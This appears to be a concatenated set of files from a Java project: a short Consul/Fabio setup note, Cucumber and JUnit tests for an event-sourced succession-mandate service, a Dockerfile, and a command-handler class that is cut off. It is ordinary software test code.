Start docker/docker-compose.yml
* Consul UI : http://${DOCKER_MACHINE_IP}:8500/ui/
* Fabio UI : http://${DOCKER_MACHINE_IP}/9998/routes
Start 2 instances of ServerApplication
* port 8080
* port 8081
Calling ```http://${DOCKER_MACHINE_IP}:9999/server/test``` should call ServerApplication on 8080 or 8081 (depending on the load balancing history) <file_sep>package com.ote.mandate.business;
import com.ote.mandate.business.aggregate.*;
import com.ote.mandate.business.command.api.IMandateCommandHandler;
import com.ote.mandate.business.command.api.MandateCommandHandlerProvider;
import com.ote.mandate.business.command.model.*;
import com.ote.mandate.business.event.model.MandateCreatedEvent;
import com.ote.mandate.business.event.model.MandateHeirAddedEvent;
import com.ote.mandate.business.event.model.MandateMainHeirDefinedEvent;
import com.ote.mandate.business.event.model.MandateNotaryDefinedEvent;
import cucumber.api.java.After;
import cucumber.api.java.en.Given;
import cucumber.api.java.en.Then;
import cucumber.api.java.en.When;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.NotImplementedException;
import org.assertj.core.api.Assertions;
import reactor.core.Exceptions;
import reactor.core.publisher.Mono;
import reactor.test.StepVerifier;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Optional;
import java.util.Set;
import java.util.UUID;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.stream.Collectors;
import java.util.stream.Stream;
@Slf4j
public class MandateServiceStepDefinitions {
public static final String MAIN_HEIR = "MAIN_HEIR";
public static final String CLIENT_NAME = "CLIENT_NAME";
public static final String OTHER_HEIRS = "OTHER_HEIRS";
public static final String NOTARY = "NOTARY";
public static final String MANDATE_ID = "MANDATE_ID";
public static final String RESULT = "RESULT";
private EventRepositoryMock eventRepository = new EventRepositoryMock();
private IMandateCommandHandler mandateService = MandateCommandHandlerProvider.getInstance().getHandlerFactory().createService(eventRepository);
private final ScenarioContext scenarioContext = new ScenarioContext();
@After
public void tearDown() {
eventRepository.clean();
scenarioContext.clean();
}
// Region <<GIVEN>>
@Given("I am \"(.*)\"")
public void aClientNamed(String name) {
scenarioContext.put(CLIENT_NAME, name, ScenarioContext.Type.INPUT);
}
@Given("I have designed \"(.*)\" as my main heir")
public void hisMainHeirIs(String mainHeir) {
scenarioContext.put(MAIN_HEIR, mainHeir, ScenarioContext.Type.INPUT);
}
@Given("I have designed following people as other heirs:")
public void histOtherHeirsAre(List<String> otherHeirs) {
scenarioContext.put(OTHER_HEIRS, String.join(",", otherHeirs), ScenarioContext.Type.INPUT);
}
@Given("my notary is \"(.*)\"")
public void hisNotaryIs(String notary) {
scenarioContext.put(NOTARY, notary, ScenarioContext.Type.INPUT);
}
@Given("I have signed a succession mandate with id \"(.*)\"")
public void itsSuccessionMandateWithId(String id) {
scenarioContext.put(MANDATE_ID, id, ScenarioContext.Type.INPUT);
Optional<String> clientName = scenarioContext.get(CLIENT_NAME, ScenarioContext.Type.INPUT);
Assertions.assertThat(clientName).isPresent();
MandateCreatedEvent event = new MandateCreatedEvent(id, "mock", new Contractor(clientName.get()));
eventRepository.initWith(event);
}
@Given("\"(.*)\" is set with \"(.*)\"")
public void givenFieldEqual(String field, String value) {
Optional<String> id = scenarioContext.get(MANDATE_ID, ScenarioContext.Type.INPUT);
Assertions.assertThat(id).isPresent();
switch (field) {
case "Notary": {
scenarioContext.put(NOTARY, value, ScenarioContext.Type.INPUT);
MandateNotaryDefinedEvent event = new MandateNotaryDefinedEvent(id.get(), new Notary(value));
eventRepository.initWith(event);
break;
}
case "MainHeir": {
scenarioContext.put(MAIN_HEIR, value, ScenarioContext.Type.INPUT);
MandateMainHeirDefinedEvent event = new MandateMainHeirDefinedEvent(id.get(), new Heir(value));
eventRepository.initWith(event);
break;
}
case "OtherHeirs": {
scenarioContext.put(OTHER_HEIRS, value, ScenarioContext.Type.INPUT);
List<String> newHeirs = Stream.of(value.split(",")).map(p -> p.trim()).collect(Collectors.toList());
eventRepository.
initWith(newHeirs.stream().map(p -> new MandateHeirAddedEvent(id.get(), new Heir(p))).toArray(MandateHeirAddedEvent[]::new));
break;
}
default:
throw new NotImplementedException("Field " + field + " is not yet mapped");
}
}
// endregion
// region <<WHEN>>
@When("I want to sign succession contract with my bank")
public void thisClientWantsToSignSuccessionContractWithHisBank() throws Exception {
String id = UUID.randomUUID().toString();
Optional<String> clientName = scenarioContext.get(CLIENT_NAME, ScenarioContext.Type.INPUT);
Assertions.assertThat(clientName).isPresent();
Optional<String> notary = scenarioContext.get(NOTARY, ScenarioContext.Type.INPUT);
Assertions.assertThat(notary).isPresent();
Optional<String> mainHeir = scenarioContext.get(MAIN_HEIR, ScenarioContext.Type.INPUT);
Assertions.assertThat(mainHeir).isPresent();
Optional<String> otherHeirs = scenarioContext.get(OTHER_HEIRS, ScenarioContext.Type.INPUT);
Assertions.assertThat(otherHeirs).isPresent();
CreateMandateCommand command = new CreateMandateCommand(id, "Bank",
new Contractor(clientName.get()),
new Notary(notary.get()),
new Heir(mainHeir.get()),
Stream.of(otherHeirs.get().split(",")).map(p -> p.trim()).map(p -> new Heir(p)).collect(Collectors.toSet()));
mandateService.createMandate(Mono.just(command)).
subscribe(b -> scenarioContext.put(RESULT, Boolean.toString(b), ScenarioContext.Type.OUTPUT));
}
@When("I want to amend the \"(.*)\" to \"(.*)\"")
public void thisClientSetTheFIELDTo(String field, String value) throws Exception {
Optional<String> id = scenarioContext.get(MANDATE_ID, ScenarioContext.Type.INPUT);
Assertions.assertThat(id).isPresent();
switch (field) {
case "Notary": {
DefineNotaryCommand command = new DefineNotaryCommand(id.get(), new Notary(value));
mandateService.defineNotary(Mono.just(command)).
subscribe(b -> scenarioContext.put(RESULT, Boolean.toString(b), ScenarioContext.Type.OUTPUT));
break;
}
case "MainHeir": {
DefineMainHeirCommand command = new DefineMainHeirCommand(id.get(), new Heir(value));
mandateService.defineMainHeir(Mono.just(command)).
subscribe(b -> scenarioContext.put(RESULT, Boolean.toString(b), ScenarioContext.Type.OUTPUT));
break;
}
case "OtherHeirs": {
Optional<String> otherHeirsOpt = scenarioContext.get(OTHER_HEIRS, ScenarioContext.Type.INPUT);
List<String> oldHeirs = Stream.of(otherHeirsOpt.get().split(",")).map(p -> p.trim()).collect(Collectors.toList());
List<String> newHeirs = Stream.of(value.split(",")).map(p -> p.trim()).collect(Collectors.toList());
AtomicBoolean result = new AtomicBoolean();
{
Set<Heir> heirToAdd = newHeirs.stream().filter(p -> !oldHeirs.contains(p)).map(p -> new Heir(p)).collect(Collectors.toSet());
if (!heirToAdd.isEmpty()) {
AddHeirsCommand command = new AddHeirsCommand(id.get(), heirToAdd);
mandateService.addHeirs(Mono.just(command)).
subscribe(b -> result.set(b));
}
}
{
Set<Heir> heirToRemove = oldHeirs.stream().filter(p -> !newHeirs.contains(p)).map(p -> new Heir(p)).collect(Collectors.toSet());
if (!heirToRemove.isEmpty()) {
RemoveHeirsCommand command = new RemoveHeirsCommand(id.get(), heirToRemove);
mandateService.removeHeirs(Mono.just(command)).
subscribe(b -> result.set(b));
}
}
scenarioContext.put(RESULT, Boolean.toString(result.get()), ScenarioContext.Type.OUTPUT);
break;
}
default:
throw new NotImplementedException("Field " + field + " is not yet mapped");
}
}
// endregion
// region <<THEN>>
@Then("a mandate is created")
public void thenMandateIsCreated() {
Optional<String> result = scenarioContext.get(RESULT, ScenarioContext.Type.OUTPUT);
Assertions.assertThat(result).isPresent();
Assertions.assertThat(result.map(p -> Boolean.parseBoolean(p)).get()).isTrue();
}
@Then("mandate's id is not null")
public void thenMandateIsNonNull() {
Optional<String> id = scenarioContext.get(MANDATE_ID, ScenarioContext.Type.INPUT);
Assertions.assertThat(id).isPresent();
}
@Then("\"(.*)\" is equal to \"(.*)\"")
public void thenMandateIsAmendedInConsequence(String field, String value) {
Optional<String> id = scenarioContext.get(MANDATE_ID, ScenarioContext.Type.INPUT);
Assertions.assertThat(id).isPresent();
StepVerifier.create(eventRepository.findAll(Mono.just(id.get())).
collectList()).
assertNext(events -> {
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
Field[] fields = mandate.getClass().getDeclaredFields();
Optional<Field> f = Stream.of(fields).
filter(fi -> fi.getName().equalsIgnoreCase(field)).
peek(p -> p.setAccessible(true)).
findAny();
Assertions.assertThat(f).isPresent();
Object v = f.get().get(mandate);
if (f.get().getName().equalsIgnoreCase("bankName")) {
Assertions.assertThat((String) v).isEqualTo(value);
} else if (f.get().getName().equalsIgnoreCase("notary")) {
Assertions.assertThat(((Notary) v).getName()).isEqualTo(value);
} else if (f.get().getName().equalsIgnoreCase("mainHeir")) {
Assertions.assertThat(((Heir) v).getName()).isEqualTo(value);
} else if (f.get().getName().equalsIgnoreCase("contractor")) {
Assertions.assertThat(((Contractor) v).getName()).isEqualTo(value);
} else if (f.get().getName().equalsIgnoreCase("otherHeirs")) {
List<Heir> otherHeirs = (List<Heir>) v;
List<String> newHeirs = Stream.of(value.split(",")).map(p -> p.trim()).collect(Collectors.toList());
otherHeirs.stream().allMatch(p -> newHeirs.contains(p));
newHeirs.stream().allMatch(p -> otherHeirs.contains(p));
} else {
throw new NotImplementedException(v.getClass().getName() + " is not yet mapped");
}
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
}
// endregion
}
<file_sep>package com.ote.mandate.business.event.api;
import com.ote.mandate.business.event.model.MandateCreatedEvent;
import reactor.core.publisher.Mono;
public interface IMandateCreatedEventHandler {
Mono<Boolean> onMandateCreatedEvent(Mono<MandateCreatedEvent> event);
}
<file_sep>package com.ote.mandate.business;
import com.ote.mandate.business.aggregate.*;
import com.ote.mandate.business.command.api.IMandateCommandHandler;
import com.ote.mandate.business.command.api.MandateCommandHandlerProvider;
import com.ote.mandate.business.command.exception.MandateAlreadyCreatedException;
import com.ote.mandate.business.command.exception.MandateNotYetCreatedException;
import com.ote.mandate.business.command.model.*;
import com.ote.mandate.business.event.model.*;
import org.assertj.core.api.SoftAssertions;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.MockitoAnnotations;
import org.mockito.Spy;
import org.mockito.junit.MockitoJUnitRunner;
import reactor.core.Exceptions;
import reactor.core.publisher.Mono;
import reactor.test.StepVerifier;
import java.util.Arrays;
import java.util.stream.Collectors;
@RunWith(MockitoJUnitRunner.class)
public class MandateServiceTest {
@Spy
private EventRepositoryMock eventRepository = new EventRepositoryMock();
private IMandateCommandHandler mandateService = MandateCommandHandlerProvider.getInstance().getHandlerFactory().createService(eventRepository);
@Before
public void setUp() {
MockitoAnnotations.initMocks(this);
}
@After
public void tearDown() {
eventRepository.clean();
}
// region <<Nominal cases>>
@Test
public void createCommandShouldRaiseEvent() throws Exception {
String id = "411455";
CreateMandateCommand command = new CreateMandateCommand(id, "Socgen", new Contractor("Olivier"), new Notary("<NAME>"), new Heir("Maryline"), new Heir("Baptiste"), new Heir("Emma"));
StepVerifier.create(mandateService.createMandate(Mono.just(command))).
expectNext(true).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(1);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getNotary()).isNotNull();
assertions.assertThat(mandate.getNotary().getName()).isEqualTo("<NAME>");
assertions.assertThat(mandate.getMainHeir()).isNotNull();
assertions.assertThat(mandate.getMainHeir().getName()).isEqualTo("Maryline");
assertions.assertThat(mandate.getOtherHeirs()).isNotEmpty();
assertions.assertThat(mandate.getOtherHeirs().stream().map(p -> p.getName()).collect(Collectors.toList())).contains("Baptiste", "Emma");
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
@Test
public void defineMainHeirCommandShouldRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
eventRepository.initWith(event);
DefineMainHeirCommand command = new DefineMainHeirCommand(id, new Heir("Maryline"));
StepVerifier.create(mandateService.defineMainHeir(Mono.just(command))).
expectNext(true).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(2);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
assertions.assertThat(events.get(1)).isInstanceOf(MandateMainHeirDefinedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getNotary()).isNull();
assertions.assertThat(mandate.getMainHeir()).isNotNull();
assertions.assertThat(mandate.getMainHeir().getName()).isEqualTo("Maryline");
assertions.assertThat(mandate.getOtherHeirs()).isNullOrEmpty();
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
@Test
public void defineNotaryCommandShouldRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
eventRepository.initWith(event);
DefineNotaryCommand command = new DefineNotaryCommand(id, new Notary("<NAME>"));
StepVerifier.create(mandateService.defineNotary(Mono.just(command))).
expectNext(true).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(2);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
assertions.assertThat(events.get(1)).isInstanceOf(MandateNotaryDefinedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getMainHeir()).isNull();
assertions.assertThat(mandate.getNotary()).isNotNull();
assertions.assertThat(mandate.getNotary().getName()).isEqualTo("<NAME>");
assertions.assertThat(mandate.getOtherHeirs()).isNullOrEmpty();
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
@Test
public void addHeirsCommandShouldRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
eventRepository.initWith(event);
AddHeirsCommand command = new AddHeirsCommand(id, new Heir("Baptiste"), new Heir("Emma"));
StepVerifier.create(mandateService.addHeirs(Mono.just(command))).
expectNext(true).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(3);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
assertions.assertThat(events.get(1)).isInstanceOf(MandateHeirAddedEvent.class);
assertions.assertThat(events.get(2)).isInstanceOf(MandateHeirAddedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getMainHeir()).isNull();
assertions.assertThat(mandate.getNotary()).isNull();
assertions.assertThat(mandate.getOtherHeirs()).isNotEmpty();
assertions.assertThat(mandate.getOtherHeirs().stream().map(p -> p.getName()).collect(Collectors.toList())).contains("Baptiste", "Emma");
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
@Test
public void removeHeirsCommandShouldRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
event.getOtherHeirs().addAll(Arrays.asList(new Heir("Baptiste"), new Heir("Emma")));
eventRepository.initWith(event);
RemoveHeirsCommand command = new RemoveHeirsCommand(id, new Heir("Baptiste"), new Heir("Emma"));
StepVerifier.create(mandateService.removeHeirs(Mono.just(command))).
expectNext(true).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(3);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
assertions.assertThat(events.get(1)).isInstanceOf(MandateHeirRemovedEvent.class);
assertions.assertThat(events.get(2)).isInstanceOf(MandateHeirRemovedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getMainHeir()).isNull();
assertions.assertThat(mandate.getNotary()).isNull();
assertions.assertThat(mandate.getOtherHeirs()).isNullOrEmpty();
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
// endregion
// region <<Event is not or partially raised>>
@Test
public void defineExistingMainHeirCommandShouldNotRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
event.setMainHeir(new Heir("Maryline"));
eventRepository.initWith(event);
DefineMainHeirCommand command = new DefineMainHeirCommand(id, new Heir("Maryline"));
StepVerifier.create(mandateService.defineMainHeir(Mono.just(command))).
expectNext(false).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(1);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getNotary()).isNull();
assertions.assertThat(mandate.getMainHeir()).isNotNull();
assertions.assertThat(mandate.getMainHeir().getName()).isEqualTo("Maryline");
assertions.assertThat(mandate.getOtherHeirs()).isNullOrEmpty();
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
@Test
public void defineExistingNotaryCommandShouldNotRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
event.setNotary(new Notary("<NAME>"));
eventRepository.initWith(event);
DefineNotaryCommand command = new DefineNotaryCommand(id, new Notary("<NAME>"));
StepVerifier.create(mandateService.defineNotary(Mono.just(command))).
expectNext(false).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(1);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getNotary()).isNotNull();
assertions.assertThat(mandate.getNotary().getName()).isEqualTo("<NAME>");
assertions.assertThat(mandate.getMainHeir()).isNull();
assertions.assertThat(mandate.getOtherHeirs()).isNullOrEmpty();
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
@Test
public void addExistingHeirCommandShouldNotRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
event.getOtherHeirs().add(new Heir("Baptiste"));
eventRepository.initWith(event);
AddHeirsCommand command = new AddHeirsCommand(id, new Heir("Baptiste"));
StepVerifier.create(mandateService.addHeirs(Mono.just(command))).
expectNext(false).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(1);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getNotary()).isNull();
assertions.assertThat(mandate.getMainHeir()).isNull();
assertions.assertThat(mandate.getOtherHeirs()).isNotEmpty();
assertions.assertThat(mandate.getOtherHeirs().stream().map(p -> p.getName()).collect(Collectors.toSet())).contains("Baptiste");
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
@Test
public void addPartialExistingHeirCommandShouldNotRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
event.getOtherHeirs().add(new Heir("Baptiste"));
eventRepository.initWith(event);
AddHeirsCommand command = new AddHeirsCommand(id, new Heir("Baptiste"), new Heir("Emma"));
StepVerifier.create(mandateService.addHeirs(Mono.just(command))).
expectNext(true).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(2);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
assertions.assertThat(events.get(1)).isInstanceOf(MandateHeirAddedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getNotary()).isNull();
assertions.assertThat(mandate.getMainHeir()).isNull();
assertions.assertThat(mandate.getOtherHeirs()).isNotEmpty();
assertions.assertThat(mandate.getOtherHeirs().stream().map(p -> p.getName()).collect(Collectors.toSet())).contains("Baptiste", "Emma");
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
@Test
public void removeNonExistingHeirCommandShouldNotRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
eventRepository.initWith(event);
RemoveHeirsCommand command = new RemoveHeirsCommand(id, new Heir("Baptiste"));
StepVerifier.create(mandateService.removeHeirs(Mono.just(command))).
expectNext(false).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(1);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getNotary()).isNull();
assertions.assertThat(mandate.getMainHeir()).isNull();
assertions.assertThat(mandate.getOtherHeirs()).isEmpty();
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
@Test
public void removePartialExistingHeirCommandShouldNotRaiseEvent() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
event.getOtherHeirs().add(new Heir("Baptiste"));
eventRepository.initWith(event);
RemoveHeirsCommand command = new RemoveHeirsCommand(id, new Heir("Baptiste"), new Heir("Emma"));
StepVerifier.create(mandateService.removeHeirs(Mono.just(command))).
expectNext(true).
expectComplete().
verify();
SoftAssertions assertions = new SoftAssertions();
StepVerifier.create(eventRepository.findAll(Mono.just(id)).
collectList()).
assertNext(events -> {
assertions.assertThat(events.size()).isEqualTo(2);
assertions.assertThat(events.get(0)).isInstanceOf(MandateCreatedEvent.class);
assertions.assertThat(events.get(1)).isInstanceOf(MandateHeirRemovedEvent.class);
try (MandateProjector projector = new MandateProjector()) {
Mandate mandate = projector.apply(events);
assertions.assertThat(mandate).isNotNull();
assertions.assertThat(mandate.getId()).isEqualTo(id);
assertions.assertThat(mandate.getBankName()).isEqualTo("Socgen");
assertions.assertThat(mandate.getContractor()).isNotNull();
assertions.assertThat(mandate.getContractor().getName()).isEqualTo("Olivier");
assertions.assertThat(mandate.getNotary()).isNull();
assertions.assertThat(mandate.getMainHeir()).isNull();
assertions.assertThat(mandate.getOtherHeirs()).isEmpty();
} catch (Exception e) {
throw Exceptions.propagate(e);
}
}).
verifyComplete();
assertions.assertAll();
}
// endregion
// region <<Exception cases>>
@Test
public void createCommandShouldRaiseErrorWhenEventsListIsNotEmpty() throws Exception {
String id = "411455";
MandateCreatedEvent event = new MandateCreatedEvent(id, "Socgen", new Contractor("Olivier"));
event.getOtherHeirs().add(new Heir("Baptiste"));
eventRepository.initWith(event);
CreateMandateCommand command = new CreateMandateCommand(id, "Socgen", new Contractor("Olivier"), new Notary("<NAME>"), new Heir("Maryline"), new Heir("Baptiste"), new Heir("Emma"));
StepVerifier.create(mandateService.createMandate(Mono.just(command))).
expectError(MandateAlreadyCreatedException.class).
verify();
}
@Test
public void defineMainHeirCommandShouldRaiseErrorWhenEventsListIsEmpty() throws Exception {
String id = "411455";
DefineMainHeirCommand command = new DefineMainHeirCommand(id, new Heir("Maryline"));
StepVerifier.create(mandateService.defineMainHeir(Mono.just(command))).
expectError(MandateNotYetCreatedException.class).
verify();
}
@Test
public void defineNotaryCommandShouldRaiseErrorWhenEventsListIsEmpty() throws Exception {
String id = "411455";
DefineNotaryCommand command = new DefineNotaryCommand(id, new Notary("<NAME>"));
StepVerifier.create(mandateService.defineNotary(Mono.just(command))).
expectError(MandateNotYetCreatedException.class).
verify();
}
@Test
public void addHeirsCommandShouldRaiseErrorWhenEventsListIsEmpty() throws Exception {
String id = "411455";
AddHeirsCommand command = new AddHeirsCommand(id, new Heir("Baptiste"));
StepVerifier.create(mandateService.addHeirs(Mono.just(command))).
expectError(MandateNotYetCreatedException.class).
verify();
}
@Test
public void removeHeirsCommandShouldRaiseErrorWhenEventsListIsEmpty() throws Exception {
String id = "411455";
RemoveHeirsCommand command = new RemoveHeirsCommand(id, new Heir("Baptiste"));
StepVerifier.create(mandateService.removeHeirs(Mono.just(command))).
expectError(MandateNotYetCreatedException.class).
verify();
}
// endregion
/*
@Test
public void defineNotaryCommandShouldRaiseEvent() throws Exception {
CreateMandateCommand command1 = new CreateMandateCommand("411455", "Socgen", new Contractor("Olivier"), null, null, Arrays.asList(new Heir("Baptiste"), new Heir("Emma")));
mandateService.createMandate(command1);
DefineNotaryCommand command2 = new DefineNotaryCommand("411455", new Notary("<NAME>"));
mandateService.defineNotary(command2);
Mandate mandate = new MandateProjector().apply(eventRepository.findAll("411455"));
Assertions.assertThat(mandate.getNotary().getName()).isEqualTo("<NAME>");
}
@Test(expected = MalformedCommandException.class)
public void invalidCommand() throws Exception {
try {
CreateMandateCommand command1 = new CreateMandateCommand(null, "Socgen", new Contractor(null), null, null, Arrays.asList(new Heir(null), new Heir("Emma")));
mandateService.createMandate(command1);
} catch (Exception e) {
e.printStackTrace();
throw e;
}
}*/
}
<file_sep>FROM openjdk:8u111-jdk
COPY target/*.jar server.jar
CMD ["java", "-jar", "server.jar"]
<file_sep>package com.ote.mandate.business.command.domain;
import com.ote.common.CheckedFunction;
import com.ote.common.Validable;
import com.ote.common.cqrs.ICommand;
import com.ote.mandate.business.command.api.IMandateCommandHandler;
import com.ote.mandate.business.command.exception.MalformedCommandException;
import com.ote.mandate.business.command.model.*;
import lombok.AccessLevel;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import reactor.core.publisher.Mono;
@RequiredArgsConstructor(access = AccessLevel.PACKAGE)
@Slf4j
class ValidMandateCommandHandler implements IMandateCommandHandler {
private final IMandateCommandHandler mandateCommandService;
@Override
